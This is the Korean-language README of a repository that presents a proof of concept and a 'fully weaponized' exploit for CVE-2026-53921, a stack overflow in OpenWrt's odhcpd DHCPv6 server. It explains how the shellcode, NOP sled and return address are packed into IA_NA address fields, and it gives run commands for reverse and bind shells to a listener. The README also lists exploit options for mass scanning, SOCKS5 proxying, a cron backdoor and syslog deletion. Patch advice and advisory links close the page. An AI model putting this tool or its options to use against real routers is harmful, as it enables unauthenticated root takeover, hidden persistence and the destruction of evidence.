
CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒

- 교육 및 승인된 테스트 목적으로만 사용하십시오. 무단 사용은 불법입니다.**
CVE-2026-53921은 OpenWrt의 odhcpd 데몬(기본 DHCPv6/DHCPv4/RA 서버)에 존재하는 치명적인 스택 버퍼 오버플로입니다.
이 취약점은 odhcpd의 DHCPv6 메시지 처리 코드, 구체적으로 build_ia() 및 dhcpv6_ia_handle_IAs() 함수에 존재합니다.
이 버그는 DHCPv6 Reply 패킷의 직렬화(패킹) 과정에서 발생합니다. odhcpd가 클라이언트 요청에 응답할 때, 적절한 경계 검사 없이 512바이트 크기의 고정 크기 스택 버퍼에 응답을 구성합니다.
// 취약한 코드의 단순화된 표현
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// 쓰기 전 경계 검사 없음
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
공격자는 다음과 같은 내용을 포함한 DHCPv6 Request(또는 Solicit)를 전송합니다:
odhcpd가 Reply를 구성할 때 각 옵션이 스택 공간을 소비합니다. 누적된 데이터가 512바이트를 초과하여 오버플로가 발생합니다.
벡터 트리거 오버플로 지점
Site 1 IPv6 주소를 포함한 IA_NA에 대한 build_ia()
5개의 IA_NA 옵션
build_ia()근본 원인은 동일하지만, 오버플로가 서로 다른 코드 경로에서 발생하므로 두 벡터 모두 동일하게 악용 가능합니다.
스택 레이아웃 (단순화):
+-------------------+ <-- 높은 주소
| 반환 주소 | ← 공격자가 제어하는 값으로 덮어씀
+-------------------+
| 저장된 프레임 포인터 |
+-------------------+
| 지역 변수 | ← 512바이트 버퍼
+-------------------+ <-- 낮은 주소
공격자는 저장된 반환 주소를 덮어써 메모리 내 자신의 셸코드를 가리키도록 합니다.
요구 사항 설명
네트워크 접근 공격자는 대상에 대한 IPv6 연결이 있어야 함
인증 없음 -- 비인증 공격
권한 odhcpd는 root로 실행되므로 RCE는
전체 시스템 제어 권한을 부여함
실제 익스플로잇에서 공격자의 셸코드는 IAAddress IPv6 주소 필드(IA_NA당 16바이트)에 배치됩니다. 조작된 패킷은 셸코드, NOP 슬레드, 반환 주소를 이 필드들에 패킹합니다.
조작된 IA_NA 구조:
+-------------------+
| IA_NA 헤더 | (12바이트)
+-------------------+
| IAAddress 1 | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 2 | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 3 | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 4 | ← 반환 주소
+-------------------+
| IAAddress 5 | ← 반환 주소
+-------------------+
조작된 DHCPv6 Request
↓
odhcpd가 IA_NA/IA_PD 옵션 처리
↓
512바이트 스택 버퍼 오버플로
↓
반환 주소 덮어쓰기
↓
CPU가 셸코드로 점프
↓
리버스 셸 / 바인드 셸 / RCE
↓
전체 시스템 장악 (root 권한)
버전 상태 RCE 가능?
odhcpd < e432dd6 취약 [+] 예 OpenWrt < 24.10.8 취약 [+] 예 OpenWrt < 25.12.5 취약 [+] 예 OpenWrt 24.10.8+ 패치됨 [-] 아니오 OpenWrt 25.12.5+ 패치됨 [-] 아니오 odhcpd master + e432dd6 패치됨 [-] 아니오
이 취약점이 특히 위험한 이유는 다음과 같습니다:
odhcpd는 OpenWrt 설치 시 기본적으로 활성화됩니다.| 구성 요소 | 취약한 버전 | 수정된 버전 |
|---|---|---|
odhcpd (master 브랜치) | 커밋 e432dd6 이전 | e432dd6 이상 |
| OpenWrt 릴리스 | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
이 저장소는 두 개의 독립적인 스크립트를 제공합니다:
| 스크립트 | 목적 | 익스플로잇 코드 | 안전성 |
|---|---|---|---|
verifier.py | 비침투적 취약점 검사 | [-] 아니오 | [+] 안전 |
exploit.py | 완전한 무기화 익스플로잇 | [+] 예 | [!] 위험 |
verifier.py – 취약점 검사기exploit.py – 전체 익스플로잇IA_NA (Site1) 및 IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#참고: 두 스크립트 모두 원시 IPv6 패킷을 생성하려면 root 권한이 필요합니다.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 인수 | 설명 |
|---|---|
-u, --target | 대상 IPv6 주소 (필수) |
-i, --iface | 네트워크 인터페이스 (기본값: eth0) |
exploit.py| 인수 | 설명 |
|---|---|
-u, --target | 대상 IPv6 주소 |
-l, --list | 대상 목록이 포함된 파일 |
-i, --iface | 네트워크 인터페이스 (기본값: eth0) |
--lhost | 리스너 IP (필수) |
--lport | 리스너 포트 (기본값: 4444) |
--vector | site1, site2, 또는 both (기본값: both) |
--offset | 스택 오프셋 (기본값: 512) |
--ret | 16진수 반환 주소 (예: 0x7ffff000) |
--arch | mips 또는 arm 강제 지정 (생략 시 자동 탐지) |
--payload | reverse 또는 bind (기본값: reverse) |
--encode | none 또는 xor (기본값: none) |
--proxy-host | SOCKS5 프록시 IP |
--proxy-port | SOCKS5 프록시 포트 (기본값: 1080) |
--persistence | cron 백도어 설치 |
--clear-logs | 익스플로잇 후 syslog 삭제 |
--scan-only | 대상만 스캔하고 익스플로잇하지 않음 |
--threads | 스캐닝용 스레드 수 (기본값: 5) |
--verbose | 상세 로깅 |
sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. 바인드 셸로 단일 대상 익스플로잇
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. SOCKS5 프록시 + 지속성 + 로그 삭제 사용
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
OpenWrt를 24.10.8 또는 25.12.5 이상으로 업그레이드하십시오.
opkg update
opkg upgrade odhcpd
OpenWrt 보안 권고 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd의 두 오버플로 벡터를 모두 다루는 상세 권고.
CVE-2026-53921 NVD 항목 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 공식 NIST 취약점 데이터베이스 항목.
OpenWrt 24.10.8 릴리스 노트 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 브랜치의 공식 릴리스 발표.
OpenWrt 25.12.5 릴리스 노트 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 브랜치의 공식 릴리스 발표.
24.10.8 및 25.12.5 릴리스는 CVE-2026-53921 외에도 여러 odhcpd 취약점을 해결합니다 [citation:9]: